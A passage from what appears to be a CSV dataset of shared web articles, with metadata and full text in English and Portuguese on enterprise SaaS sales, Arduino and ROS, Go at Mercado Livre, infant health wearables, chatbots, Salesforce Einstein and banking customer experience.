fact of the matter is, you need to deal with it. At an SMB, you can pitch one person , have it go well, and have a deal 90 minutes later. It's not going to be like that with an enterprise company. Just keep plugging away at it, all while conveying your value to win over everyone necessary. Leadfeeder's enterprise selling best practices: 7) Figure out who makes the decision. It's really important to speak to the key decision-maker or at least find out who'll make the purchasing decision, because it allows you to prepare appropriate materials and tailor your pitch with their evaluation criteria in mind. If the buyer's evaluation criteria is asking for another end user's appraisal (a potential champion) then we always try to open a direct line to that person. 8) Understand the purchasing evaluation process. This is inextricably linked to figuring out who'll make the purchasing decision and generally takes a phone call, training or email back and forth to be clearly established. It's important to remember that people are loss averse and tend to stick to the status quo; as the old saying goes ""no one ever got fired for buying IBM"". One tactic that's worked well for Leadfeeder is working closely with the sales guys who are the end users of Leadfeeder. While it might be the marketing manager who makes the purchasing decision, we know that very often they will consult their sales team before deciding. Because of this we work closely with sales people to ensure they're achieving their aims with Leadfeeder. By understanding more about the purchasing evaluation process, which often includes understanding how your SaaS product fits into an enterprise company's existing toolstack, you'll be able to show how your enterprise prospect will be able to achieve the return they're looking for. 9) Establish a personal relationship with champions and buyers. One best practice that we've developed for nurturing relationships alongside the more conventional trainings, Intercom chats and email is being active with people on LinkedIn and other channels. We've written a guide to selling on LinkedIn here . There's plenty of hard evidence to show that salespeople need to be present online where their customers spend time and to achieve that we add leads in Sales Navigator and nurture using Twitter . Designing a SaaS product with enterprise sales in mind (the case of Leadfeeder) Selling to enterprise clients isn't just about using the best selling strategies, it's also about product development with enterprise sales in mind. Here are 7 important things that have been requested by enterprise accounts - which makes selling to large companies a lot easier: Single sign on. Letting users sign in with Google Apps or company credentials reduces administration effort. Audit logging. Very often big organisations will want or require the ability to run internal investigations, so being able to see a log of who made every change to every record, and sometimes who viewed each record, is something that will comply with this. Fine-grained permission controls. While startups are small teams where everyone can be trusted with more access, the principle in big organisations is usually to limit everything to the barest minimum each employee needs, so that if credentials get lost or phished (which is a bigger risk in larger organisations, just due to scale), less harm can be done. Security best practices. In our case we will just keep doing what we are doing, but in addition publish the fact that we encrypt everything at rest and in transit on our website. Some other good practices might be offering two-factor authentication, using automated vulnerability testing and paying for external penetration testing. Accessibility standards compliance. Bigger companies and near-enough all public sector bodies will have a policy stating that they only use technology they assess to be accessible to users with disabilities. Typically, they do this using criteria like the W3C's Web Content Accessibility Guidelines. Change management. Product changes sometimes cause unforeseen problems for bigger firms that are more settled into a specific way of working, and slower to adapt. Giving enterprise customers control over releasing new features to their users allows this to be well-controlled, and allows companies to ensure staff are appropriately trained in- and prepared for the new features. ""Enterprise SLA"". When large companies with lots of users start to rely on a product, the effect of a small amount of downtime is multiplied. If people check a product for 10 minutes per day, a startup with two users will lose 20 minutes of productive time if they can't use a product for half a day, whereas an organisation with a 200-strong sales team will lose the equivalent of 33 hours of work time. For this reason, guaranteeing, for example, 99.9% availability up to about an hour offline per month, minimises the likelihood that this is seen as a danger by potential enterprise buyers. Selling SaaS to enterprises is worth the extra effort There are challenges to selling to enterprise leads, for sure. Many of them involve time and the concerns you'll have that you're not making enough revenue as you wait for a final decision from the enterprise's various stakeholders. Many of those challenges, however, are more than significantly outweighed by the potential benefits when you hook the ""big fish."" Keep thinking about the impact that these deals can have on your bottom line, on your own branding and on your client retention strategies. Keep at it and approach these leads accordingly. It'll pay off. Start free 30-day trial No credit card required. Further Reading:",en
1486734128,CONTENT SHARED,-1443593727366384026,3609194402293569455,5415337131816486531,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.76 Safari/537.36",SP,BR,HTML,https://www.embarcados.com.br/arduino-com-rosserial_arduino/,Comunicação entre Arduino e ROS através do pacote rosserial_arduino,"01Nesse artigo, vamos mostrar como utilizar o ROS para se comunicar com o Arduino através do pacote rosserial_arduino . Nos artigos da série introdutória sobre o ROS , expliquei como instalar e criar um ""Hello World"" para um PC rodando o sistema operacional Linux. Entretanto, muitos devem ter se perguntado se era possível se comunicar com motores e sensores conectados à uma placa Arduino através do ROS. Tal comunicação não apenas é possível, como também é bem simples de ser implementada. Introdução ao pacote ROSSERIAL O pacote ROSSERIAL é um conjunto de wrappers para facilitar a vida de quem precisa de comunicação com dispositivos através de uma porta serial ou mesmo através de um socket em rede. O pacote contém quatro bibliotecas que possibilitam tal comunicação básica com o ROS, sendo possível publicar e se subscrever em tópicos e serviços: ROSSERIAL_ARDUINO: Possibilita a comunicação com placas Arduino, como o UNO e Leonardo ; ROSSERIAL_EMBEDDEDLINUX: Possibilita a comunicação com placas que utilizem linux embarcados, como roteadores; ROSSERIAL_WINDOWS: Possibilita a comunicação com aplicações Windows através de sockets; ROSSERIAL_MBED: Possibilita a comunicação com plataformas mbed ; ROSSERIAL_TIVAC: Possibilita a comunicação com placas Launchpad da Texas Instruments, tais como as placas TM4C123GXL e TM4C1294XL. Utilizando o ROSSERIAL_ARDUINO Em nosso caso, estamos interessados em trabalhar com a biblioteca rosserial_arduino . Em primeiro lugar, precisamos realizar a instalação do pacote em nosso sistema com o seguinte comando: Nota: se sua distribuição ROS não é a Indigo , você precisa substituir, no comando acima, a palavra ""indigo"" pelo o nome da sua distribuição, tal como jade ou kinetic . Com a biblioteca instalada em nosso sistema, podemos utilizar o script make_libraries.py para gerar uma lista de bibliotecas do ROS compatíveis com o Arduino IDE: Após executar o comando acima, você verá que foi criada a pasta ros_lib no local em que comando foi executado. Agora, basta copiá-la para aonde estiver localizada a pasta sketchbook/libraries configurada para seu Arduino IDE. No meu caso, copiei a pasta para /home/francisco/Arduino/libraries . Nota: Com a pasta ros_lib você poderá desenvolver aplicações para Arduino capazes de se comunicar com o ROS independente do sistema operacional que você utiliza ( ros_lib funciona com o Arduino IDE em Windows, Linux ou macOS). Entretanto, para gerar a pasta, você precisa executar o comando acima em um sistema que esteja rodando Linux e tenha o ROS instalado. Exemplo de Publisher no ROSSERIAL_ARDUINO Agora que você colocou a pasta ros_lib em nosso Arduino sketchbook, alguns exemplos de códigos utilizando ROS estarão disponíveis no seu Arduino IDE. Vamos examinar o código para publicar a string ""hello world!"" pela própria placa Arduino. Abra seu Arduino IDE e vá em ""File -> Examples -> ros_lib -> HelloWorld para abrir o código de example. Você verá o seguinte código aberto: Agora, vamos explicar linha por linha o código acima: Para criar ROS nodes para Arduino, você precisa sempre incluir o arquivo ros.h em seus programas. O arquivo std_msgs/String.h inclui todas os métodos necessários para se enviar e receber mensagens do tipo string . Cria o objeto que será seu NodeHandle no programa em que você está escrevendo. Você sempre precisará de um NodeHandle para receber e enviar mensagens pelo ROS. Cria uma variável do tipo std_msgs/String que irá receber os valores que vamos enviar pelo ROS. Cria um objeto chamado chatter que irá ser responsável por publicar sua mensagem. Nesse caso, queremos publicar a mensagem contida na variável str_msg no tópico /chatter . Essa será a mensagem que iremos publicar através do Arduino. A função setup() é necessária para inicializar nosso nó e configurar nossos publishers e subscribers no ROS. O método initNode() inicializa nosso ROS node e o método advertise(chatter) configura nosso publisher . A função loop() será responsável por receber e enviar mensagens dos publishers e subscribers . Primeiro, precisamos preencher o campo data na nossa variável str_msg com a string que gostaríamos de enviar. Após isso, precisamos invocar o método publish no nosso objeto chatter para efetivamente enviar nossa mensagem para o ROS. O método spinOnce() faz com que o sistema atualize todos os publishers e subscribers . Por último, o método delay(1000) faz com que o programa espere por 1 segundo antes de executar o loop novamente. Ao final, não esqueça de enviar o código para seu Arduino. Fazendo a comunicação entre Arduino e ROS Agora que instalamos as todas as dependências do rosserial_arduino e temos nosso primeiro programa em Arduino, podemos, finalmente, fazer a comunicação entre o seu Arduino e o ROS. Primeiro, você precisa garantir que seu Arduino esteja conectado via USB em uma máquina rodando ROS. Você precisará saber em qual interface USB seu artigo está conectado, normalmente será /dev/ttyACM0 . Abra um terminal e execute o seguinte comando para inicializar o ROS em sua máquina: Em um segundo termina, execute o seguinte comando para inicializar o rosserial_arduino : Pronto! O código que você enviou anteriormente para o seu Arduino já estará sendo executado e publicando a mensagem ""hello world!"" no tópico /chatter . Para verificar que tudo está realmente funcionando, você pode abrir outro terminal e usar o comando rostopic echo para visualizar as mensagens sendo publicadas no tópico /chatter : Agora, você poderá conectar servo motores e outros dispositivos em seu Arduinos e se comunicar com máquinas rodando ROS facilmente. Você poderá estudar outros exemplos que foram adicionados ao Arduino IDE para ganhar mais familiaridade com o rosserial_arduino . Você também poderá encontrar mais informações sobre como utilizar o rosserial_arduino no seguinte link: Rosserial_arduino: Tutoriais Referências ROS Wiki: Hello World (example publisher) Estudante de Doutorado em Engenharia Elétrica na Oklahoma State University nos EUA. Possui Mestrado em Engenharia Elétrica pela UNICAMP e graduação em Tecnologia em Mecatrônica Industrial pelo IFCE. Possui experiência em indústria e em desenvolvimento de software. Atualmente, trabalha desenvolvendo robôs sociais para auxiliar pessoas idosas.",pt
1486748258,CONTENT SHARED,2171751753892441512,8516196196975927,-2777339036875630594,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36",MS,BR,HTML,http://imasters.com.br/linguagens/o-ceu-e-o-limite-na-utilizacao-de-golang/?trace=1519021197&source=single,O céu é o limite na utilização de Golang -,"Golang ou simplesmente Go é uma linguagem de programação criada pela Google e que foi lançada em código livre em novembro de 2009. Tem um formato compilado e de programação concorrente. Foi concebida inicialmente em setembro de 2007, por Robert Griesemer, Rob Pike e Ken Thompson. No Brasil, empresas como o Mercado Livre, Globo.com, Magazine Luiza, Walmart entre outras encontraram nessa linguagem a performance e a simplicidade necessárias para melhorarem seus processos de desenvolvimento de software, aumentar performance e ainda economizar, e muito, com recursos de hardware. No Mercado Livre, no final de 2015, após uma bateria de testes com o Go mostrarem resultados extremamente positivos, decidimos começar o processo de migração do Grails. Atualmente, contamos com mais de 80 projetos novos ou migrados para Go e em todos os casos os resultados têm sido surpreendentes. Entre esses projetos está o case da nossa API de Localizações, que antes utilizava Grails e foi reescrita em Go. Essa API é responsável pela geolocalização via IP, além de fornecer informações sobre as ruas, bairros, cidades e estados nos 19 países onde o Mercado Livre está presente atualmente. Trata-se de um recurso que tem, em média, 200 mil requisições de leitura por minuto. A migração para Go permitiu que o tempo da execução dos testes passasse de ~85seg para ~3.5seg e permitiu também um melhor tempo de resposta; saímos de 9ms para ~0.5ms. O que mais nos motivou na migração foi a economia de hardware. Segue abaixo a tabela que compara a aplicação escrita em Grails e a versão da mesma em Go. Ao todo, tivemos uma redução de 87% nos custos de aquisição e manutenção de equipamentos, economia de 88% de memória e a diminuição de 94% dos cores necessários para a mesma execução. Números bastante inspiradores, não acha? Nós do Mercado Livre somos grandes entusiastas de novas tecnologias, principalmente Open Source. A linguagem Golang é um dos nossos achados nesse seleto nicho. Essa é, sem dúvida, uma ótima opção para quem pretende desenvolver aplicações que busquem por performance e até mesmo para aqueles que necessitam reduzir custos com hardware. Vale lembrar que os pontos aqui destacados se referem a nossa experiência com a aplicação de Golang no ecossistema das unidades de negócios do Mercado Livre. Mas, o céu é o limite para o que mais a linguagem Golang pode proporcionar a nós, desenvolvedores. Mais Lidos da Última Semana",pt
1486927905,CONTENT SHARED,896159636285333275,3609194402293569455,7474177798446082642,Mozilla/5.0 (Windows NT 10.0; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0,SP,BR,HTML,http://spectrum.ieee.org/the-human-os/biomedical/devices/how-mobile-health-apps-and-wearables-could-actually-make-people-sicker,How Mobile Health Apps and Wearables Could Actually Make People Sicker,"Photo: Owlet The Owlet Smart Sock lets parents continuously monitor their infant's vital signs, but experts say they shouldn't. A recent journal article about wearable tech for infants pulls no punches: ""There is no evidence that consumer infant physiologic monitors are life-saving, and there is potential for harm if parents choose to use them,"" it states. While the article is an opinion piece, it carries the weight of authority: It was published in the Journal of the American Medical Association and was authored by two pediatricians and an expert from the ECRI Institute , a nonprofit organization dedicated to the rigorous evaluation of medical procedures and devices. The authors call out specific products that are marketed to nervous parents, including the $250 Owlet Smart Sock , which monitors a sleeping baby's pulse and blood oxygen levels. There's no need to monitor healthy infants so closely, the authors say, and doing so will likely cause false alarms and fear. 259,000: The number of mobile health apps available at major app stores. -research2guidance report, ""mHealth App Developer Economics 2016"" This analysis has implications for the larger field of mobile health. It's been less than a decade since the "" quantified self "" craze began, but fitness trackers, wearable gadgets, and health-related apps have proliferated; for diabetes management alone, consumers can choose from more than 1500 apps . Some experts believe that these products will provide useful streams of health data that will empower consumers to make better decisions and live healthier lives; for example, one Stanford professor credits his wearables for early detection of his Lyme disease. But others say the flood of information can have the opposite effect by overwhelming consumers with information that may not be accurate or useful. To probe further, IEEE Spectrum spoke with David Jamison, coauthor of the JAMA article and executive director of ECRI Institute's health devices group, as well as Priyanka Shah, a project officer in his group. ECRI has a long tradition of testing medical devices for hospitals and doctors. How did you get involved with the mobile health apps and gadgets that are sold directly to consumers? Jamison: Over the last couple of years, we've had a lot of hospitals and doctors telling us they're interested in these kinds of products. For instance, the wearable baby monitor study came about when I was talking with a doctor at CHOP (Children's Hospital of Philadelphia) about these products. He said parents and grandparents were asking him: ""Is the use of this technology a good idea for our baby?"" These consumer products can impact a hospital in terms of giving care advice, liability, and cost of care. And smartphone apps are a similar story: We're studying diabetes apps now. We're focusing on products and apps that can have the most clinical impact, and things that might cost hospitals a lot of money. We think it's really important to get data about accuracy and safety. The public needs to be aware that many of these consumer products are not regulated as medical devices, so may not have the accuracy and safety they expect. Photo: Owlet Your JAMA article about infant wearables argues that constantly monitoring things like a baby's heart rate and respiration could actually lead to worse health outcomes. Can you give an example? Jamison: The main problem is over-diagnosis. Parents are awakened by some nasty alarm in the middle of the night. They look at a number [on the device], but may not know how to deal with that number or what it means. So they go to the emergency room. The doctors look at the baby and want to be sure everything's okay, so they do some blood tests. The blood stick causes pain, and the whole process causes stress. And maybe the doctors make an error: There are normal variations in the human body in terms of temperature and pulse and blood oxygenation. If you look at a number from just one point in time, that creates problems. Spectrum : Are infant wearable companies like Owlet capitalizing on parents' fear of sudden infant death syndrome (SIDS), which is still pretty mysterious? Jamison: It certainly seems that way. We're not in the business of evaluating people's advertising. But when you look at the videos on their website, especially if you're a parent, you're pretty affected by the things they say. [Jamison is referencing a CNBC video about the Owlet and SIDS that was prominently featured on the Owlet homepage until late last year.] Spectrum : You're planning to test some of these baby-monitoring devices, right? Which ones? Jamison: We're especially interested in testing the ones that measure blood oxygenation, because those are more like hospital devices. We want to compare their accuracy and ease of use to those of hospital devices. Spectrum : Does the situation with infant wearables point to a larger problem with mobile health products? Shah: Getting data is easy in this day and age, but getting meaningful data is what's really valuable to consumers. If I'm the parent of a baby, I'm not really interested in gathering a repository of my child's blood oxygenation data. But can the wearable technology help me come to a conclusion, or notify me before the occurrence of a declining health condition? Let's talk about the big data issue. A product called Fever Scout , which is a stick-on patch to continuously monitor a child's temperature, just got FDA approval . Is this a case where more data isn't necessarily better? Jamison: It's interesting that you bring that one up. We've been looking at it too, and we conferred with some pediatricians. They said that temperature is a pretty rough indicator, and many times it doesn't mean much. But at certain specialized times, it does. You need to be a clinician to look at the data and understand what to do next: ""Is this a problem, or should go we go back to bed?"" Photo: Breathometer There have also been examples of mobile health apps and gadgets that are flat-out inaccurate. For example, the best-selling Instant Blood Pressure app that used the phone's camera and microphone for its analysis was found to be very inaccurate in a study by doctors. And the FTC recently sued the company that made the Breathometer , a breathalyzer attachment for smartphones, saying that it dangerously overstated its accuracy . Do you expect to see a lot of cases like this? Jamison: It's buyer beware right now with some of these technologies. One of our role in this landscape is to help people find out if consumer products really work as advertised. That's why we're looking at these baby monitors, which aren't regulated as medical devices. These companies have no reason to take all the validation steps that a company selling a regulated medical device would take, so we're going to check these products out.",en
1486984711,CONTENT SHARED,-5521549171704079872,301435144665447655,-1273834070737970588,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36",MG,BR,HTML,https://blog.google/products/g-suite/introducing-google-cloud-search-g-suite/,Introducing Google Cloud Search: Bringing the power of Google Search to G Suite customers,"Every day, people around the globe rely on the power of Google Search to access the world's information. In fact, we see more than one trillion searches each year. As we continue to invest in new cloud-based technologies like machine learning to power our web search engine, we want to help businesses harness the same technology to search for internal information. Today, we're announcing Google Cloud Search ( formerly known as Springboard ), a new product that uses machine intelligence to provide a unified search experience across G Suite. Sorting through internal information has become increasingly complex as more and more companies move their data and workloads to the cloud. As a result, teams are working on hybrid environments and storing immense amounts of data all over and in various formats. From emails and docs to spreadsheets, slides, forms, internal sites, and more. In fact, according to McKinsey , the average knowledge worker spends 20% of the workweek searching for and consolidating information. Simply put, employees are wasting a lot of time in the process of finding information they need to do their job. A smarter search experience, tailored for you Cloud Search brings the best of Google Search and machine intelligence to G Suite. It provides both comprehensive search and proactive recommendations to help you throughout your day. For example, when you open the Cloud Search app on your phone or laptop, you'll see relevant information organized into simple cards (assist cards) that help you stay on top of your work. Assist cards are a new way to help you find the right information at the right time. Using Google's machine intelligence technology, these cards can help you prepare for an upcoming meeting or even suggest files that need your attention. Assist cards are designed to be timely and relevant so that you can navigate your workday more efficiently. As we continue to learn how information is most useful to you, we'll be adding more assist cards to Cloud Search over time.",en
1486986377,CONTENT SHARED,-686679025328909441,-1352064057049251194,-215580607155026744,"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36",SP,BR,HTML,http://www.bitmag.com.br/2017/02/ibope-e-commerce-recomendacao/,Ibope revela lojas de e-commerce com maior recomendação no Brasil - B!T magazine,"Pelo estudo, o comércio eletrônico com índice mais alto é a Netshoes , com 71% de clientes que recomendam a marca, resultado 36% maior do que a média (52%) dos e-commerce pesquisados. Em segundo lugar está a loja de moda Zattini , também do Grupo Netshoes, com 69%, seguido pela Saraiva (64%). Para chegar a esses índices, Ibope Conecta e Ibope DTM calcularam o índice de satisfação e recomendação das marcas dos consumidores. Além de Netshoes, Zattini e Saraiva, foram avaliados e-commerce como Amazon, Walmart, Submarino, entre outros. Para Alexandre Yamada , gerente Máster - Inteligência da Netshoes, os números são resultado de um trabalho de amadurecimento do e-commerce. ""Proporcionar uma experiência diferenciada ao consumidor é importante para a confiabilidade e apreço do cliente em relação à marca, e o comércio eletrônico já está abraçando essa lógica"", indica o responsável. Yamada sublinha que a compra não se encerra com um click, porque existe todo um processo de pós-venda que é essencial. ""Acompanhar para que a entrega seja feita no prazo e facilidade para a troca, por exemplo, são serviços que fazem parte do processo e que devem ser realizados com excelência no meio eletrônico"", completa. A pesquisa também possibilita medir os aportes de consumidores entre os e-commerce pesquisados. Os números mostram que a probabilidade de um cliente comprar na Netshoes após ter visitado um de seus principais concorrentes é de 70%. Outro resultado apresentado pelo estudo é a proporção dos que efetuaram alguma compra nos sites pesquisados nos últimos 12 meses. Nesse quesito, o top três é composto por Americanas.com , que possui 47%; Mercado Livre , com 39%;e Netshoes , com 32%. Para Laure Castelnau, diretora executiva do Ibope Conecta, o CX Report é um instrumento poderoso para análise competitiva, apontando quais as marcas estão acima ou abaixo do índice médio da categoria. O estudo não é feito apenas para e-commerce, mas para muitas categorias, tais como bancos, automóveis, operadoras de telefonia, artigos esportivos, produtos de beleza, entre outros. Bernardo Canedo , diretor executivo do Ibope DTM, completa: ""Nosso objetivo é criar parâmetros de mercado para esses indicadores de satisfação e recomendação, permitindo que as próprias marcas possam se desafiar e estabelecer metas formais de satisfação dos consumidores."" Essas informações foram coletadas em setembro de 2016, por meio de 2 mil entrevistas online com homens e mulheres de todo o país, a partir dos 16 anos, das classes socioeconômicas A,B e C.",pt
1486995770,CONTENT SHARED,-5690023155612846030,3609194402293569455,-3517574689847630725,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36",SP,BR,HTML,https://tableless.com.br/o-futuro-das-interfaces-chatbots/,O futuro das interfaces: Chatbots - Tableless,"por Raphael Guastaferro Estamos acostumados a interagir diariamente com interfaces gráficas, seja no computador, celular, tablet, smart tv, etc. Naturalmente incorporamos a utilização dessas interfaces para obter nossos objetivos no dispositivo em questão, seja fazer uma busca no google, ver uma página no Facebook, ler um artigo em um portal de notícias ou escolher um filme no Netflix. Podemos não perceber, mas quando ligamos para um call-center onde a máquina ( URA - Unidade de Resposta Audível ) nos pede para dizer em voz alta o que desejamos, ou o número correspondente ao que queremos, também estamos interagindo com uma interface de voz para atingir nosso propósito. Nesses dois casos, o ponto a se notar é que, não importa como, mas é preciso de uma interface para que nós humanos possamos utilizar sistemas e dispositivos digitais. Legal, mas onde estão os chatbots nessa história? Simples. Chatbots podem ser interfaces no qual vamos interagir para atingir nossos objetivos obter ! Para entender melhor, vamos a um exemplo clássico: Você está passeando no shopping, passa na frente do cinema, e descobre que aquele filme que você queria ver já está em cartaz, então decide assistí-lo. Porém a fila para comprar ingresso está enorme, você não quer perder todo esse tempo. Então você pega seu celular, entra na loja de aplicativos, procura o app de cinema, começa o download, após finalizar abre o app, seleciona sua cidade, shopping em que está, filme desejado, horário, quantidade de ingressos, e finaliza fazendo o pagamento. Você utilizou a interface gráfica do app de cinema do seu celular para atingir seu objetivo, ótimo, funcionou! Porém, não poderia ser mais simples? E se você pudesse interagir via chat com um bot do cinema para comprar seus ingressos? Vamos imaginar que o cinema tem um chatbot disponível no seu app de messenger favorito, o Facebook Messenger. Você acessa seu messenger clica no usuário do cinema e envia a seguinte mensagem: "" Quero comprar dois ingressos para o filme Star Wars Rogue One, no shopping X, para a sessão das 21:45 "" . Sua mensagem rapidamente vai ser interpretada, e em mais algumas frases rápidas de conversa (talvez para pagamento), você terá alcançado sua meta de comprar ingresso. Você pode não ter percebido, mas assim como fazemos com interfaces gráficas, você interagiu com uma interface para manipular um sistema, e atingir seu objetivo! Você interagiu com uma interface de chatbot! Porque esse tipo de interface é promissora? Falando especificamente sobre a era da internet, e das interfaces para os dispositivos atuais (desktop, celulares, tablets), há anos equipes inteiras (UI Designers, UX Designers, Developers, CEO, etc) discutem incansavelmente sobre qual a melhor forma de atingir seus usuários. Inúmeros fatores nas interfaces/interação podem ser relevantes em produtos e sistemas. Nas empresas e instituições, sempre existem discussões voltadas para esses e outros fatores: - Cores, formas, fontes e fotos - Performance e velocidade de páginas e procedimentos - Quais conteúdos são mais relevantes para o usuário - Qual o máximo de cliques que um usuário pode ter para alcançar o que deseja Portanto, o caminho para uma boa conversa com nosso usuário em questão não é tão simples como parece. Além desses pontos, temos uma discussão importantíssima sobre o negócio em si, sobre como o sistema lê, processa e devolve dados e informações, sobre como o sistema irá se comportar diante do usuário. E se pudéssemos "" pular uma etapa "" e focar mais tempo para o que importa? Se pudéssemos focar no objetivo do usuário, e buscar a forma melhor e mais rápida de concluir processos? Partindo do pressuposto de que a maioria dos usuários de internet sabem utilizar um chat, os chatbots excluem a curva de aprendizado das interfaces gráficas, facilitando para os desenvolvedores do produto, e para o usuário, que poderá interagir utilizando um processo que se assemelha com a comunicação com outros humanos via internet. "" Nós pensamos que você deve enviar uma mensagem para uma empresa da mesma maneira que você envia a um amigo "" - Mark Zuckerberg na Facebook F8 Conference E ainda não falamos dos detalhes mais técnicos: conexão, rede de dados, apps, espaço disponível no dispositivo... Para interagir com um chatbot, sua conexão não precisa ser tão rápida quanto para baixar um app, ou carregar um site. Você não precisa trafegar muitos dados a ponto de acabar com seu pacote diário de internet para conversar num chat. E se o bot está no app que você utilizar para conversar com seus amigos, não será necessário ocupar mais espaço no seu dispositivo. São muitas vantagens, não?! As interfaces gráficas vão morrer? Não há nenhuma resposta certa, para essa pergunta. É uma questão que só poderá ser respondida com o passar dos anos. Na minha opinião, as interfaces podem perder muito espaço, mas não vão morrer completamente. Mesmo num futuro, imagino que sempre haverá algum caso em que pode uma interface gráfica pode ser útil, mesmo que para pequenas interações. Também não conseguimos prever com certeza o futuro dos chats. O próprio chatbot do Facebook Messenger tem a capacidade de enviar botões, imagens e outros elementos gráfico s. Concluindo A intenção desse post foi refletir um pouco sobre interfaces, e sobre vantagens e o poder dos chatbots. Obviamente, isso é só a ponta do iceberg das discussões sobre chatbots e seu futuro. Mas em pouco tempo de reflexão podemos enxergar um futuro promissor! Originalmente postado em: Publicado no dia",pt
1486995837,CONTENT SHARED,-2923886912694084893,3609194402293569455,-3517574689847630725,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36",SP,BR,HTML,https://techcrunch.com/2017/02/13/salesforce-brings-ai-to-service-cloud/,Salesforce adds some artificial intelligence to customer service products,"Last Fall when Salesforce introduced Einstein , its artificial intelligence initiative, it debuted with some intelligence built into the core CRM tool, but with a promise that it would expand into other products over time. Today it announced it was adding Einstein AI to its Service Cloud customer service platform. The goal is to make life easier for customer service reps and their managers. For the reps, it gives information that is supposed to help them better understand the needs of the customer they're dealing with. For the managers, it's been designed to help give deeper insight into their customer service center operation. The ultimate goal is improving the key customer satisfaction metric known as CSAT. For the customer service rep, it starts with how the call gets routed to them. It uses underlying intelligence to route the call to the best available rep based on known information, and it provides the rep with some background before they even interact with the customer. All that should help the CSR do their jobs better and be more efficient with the customer. They also get fed some data on the right side of the customer service window, which the system thinks will help improve the CSAT score. This could be a case of too much information when you're dealing with a customer because it forces you to look at the classification that Einstein believes is the correct one for this interaction. You also have to absorb several data points, which Einstein has determined could be having an impact on the projected score. That's all well and good, but viewing this data requires taking your attention away from the customer. Regardless, that individual CSAT data gets compiled into a view for the customer service manager, who can see how the customer service team is doing in terms of agent availability, the size of queues and wait times at any given moment. All of this is useful in compiling and improving that all important CSAT score. Salesforce has been developing its artificial intelligence technology for some time. As I wrote at the time of the announcement in September: The company pulled together 175 data scientists to help create Salesforce Einstein, while leveraging acquisitions such as MetaMind, PredictionIO and RelateIQ. In fact, MetaMind founder Richard Socher, holds the title of Chief Data Scientist at Salesforce now. Salesforce Einstein will touch every one of its products in some way eventually. Indeed today's announcement is a continuation of that original vision, and we can expect that over the coming months and years, additional Salesforce products will get the Einstein treatment. Featured Image: Fuse /Getty Images",en
1486999803,CONTENT SHARED,-8900113512825364282,5660542693104786364,-1735255161501432601,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36",SP,BR,HTML,https://thefinancialbrand.com/63654/banking-customer-experience-research-survey/,Banking Needs a Customer Experience Wake-Up Call,"The ""Improving Customer Experience in Banking"" report shares the results of a global survey done to determine the CX maturity of banks and credit unions. The findings show that most organizations are not prepared for the future of increased consumer expectations. The financial services industry has been impacted by the increasing use of technology from smartphones to wearables. This transformation in methods of transacting has enabled more personalized engagement, allowing customers to engage engage in seamless banking across channels. This has also increased both the potential and complexity of creating a positive customer experience. Unfortunately, according to the 85-page report, Improving the Customer Experience in Banking , the objective of delivering a positive customer experience has become secondary to other bank priorities, resulting in a transactional banking relationship for the customer. For financial organizations to change this dynamic, and meet the evolving needs of today's customers, there are five areas that have emerged as crucial priorities: Move focus of digital engagement from cost reduction to experience enhancement. Leverage advanced analytics, machine learning and contextual engagement to provide a highly personalized experience. Allow the consumer to engage with their bank on the channels they prefer at the times they want to engage. Transition advisory and sales activities from being reactive to being proactive. Engage end-to-end throughout the customer journey, from shopping to account opening, to onboarding and through relationship expansion. Our global research of banks and credit unions for this report was intended to better understand the 'CX maturity' of financial institutions and to provide a benchmark for future strategies. We would like to thank Deluxe Corp. , who sponsored this year's report development and distribution. Their partnership and commitment to improving customer experiences for financial institutions enabled us to collect insights never provided in the past. Improving the customer journey and providing a positive customer experience (CX) was ranked as the number one trend, as well as top strategic priority, in the survey of global banking leaders for the 2017 Retail Banking Trends and Predictions report. Unfortunately, the research into CX maturity in banking found that many of the industry's initiatives are unsupported, misdirected, underfunded and poorly measured. Here are the key takeaways from the report, Improving the Customer Experience in Banking : While all FIs believe that improving CX is a significant priority, the importance is significantly less at smaller organizations. Only 37% of organizations have a formal CX plan. The customer experience objectives at most organizations focus on internal benefits (selling and cost cutting) and not customer benefits (simplicity, ease, responsiveness). Despite research that shows digital experiences drive satisfaction, FIs focus too much on products and branch engagements. Investment in CX is increasing at most organizations, with more investment committed over the next 3 years. Most firms have seen only a modest impact of their CX initiatives. The biggest challenges in CX efforts are with data analytics, technology and getting a complete customer view. Measurement of CX efforts varies widely, with revenue measures mostly missing from the mix. Digital Channels Drive Customer Satisfaction A positive customer experience is channel sensitive, with customers placing a higher weight on digital customer experiences more than physical or call center channels. In fact, in a recent J.D. Power, survey, the largest banking organizations improved in overall customer satisfaction, while midsize banks declined and regional banks plateaued. This was attributed primarily to improved mobile and online satisfaction. Yesterday's demands - including flexibility, efficiency and easy access for customers - have been expanded to include integration of banking activities across multiple channels, personalized service, and recognition of the past, present and future breadth of the customer's relationship with their financial institution. Going forward, banks and credit unions need to focus most on building an improved digital experience and use it as a competitive differentiator. ""All banks must prioritize UX, design thinking and experience architecture to compete for the future right now. This is a trend that's only going to advance."" - Brian Solis , Principal Analyst for the Altimeter Group and author of the bestselling book: The Experience When Business Meets Design Customer Experience Focus Varies Organization Type Customer experience represents a recognized priority for financial organizations, with the majority of those surveyed for our research indicating that CX is at least a top 3 priority. Only 3% of respondents claim that customer experience is not a focus, while 35% indicate CX is the primary focus. The reporting structure also varied significantly between organizations, with less than 25% of institutions having a separate department for the function. When we look at the prioritization by institution size and type, we see that the largest organizations are the ones where the focus is the greatest. This may be why recent customer satisfactions surveys by JD Power rank the largest banks at the top of the industry. The question needs to be asked whether this is because these organizations already believe they have exceptional customer service and experience, or whether there is a lack of realization of the challenges at hand. In the research for this report, it was found that the majority of organizations do not have a formal customer experience plan. In fact, less than 40% of the organizations surveyed indicated that they had a formal 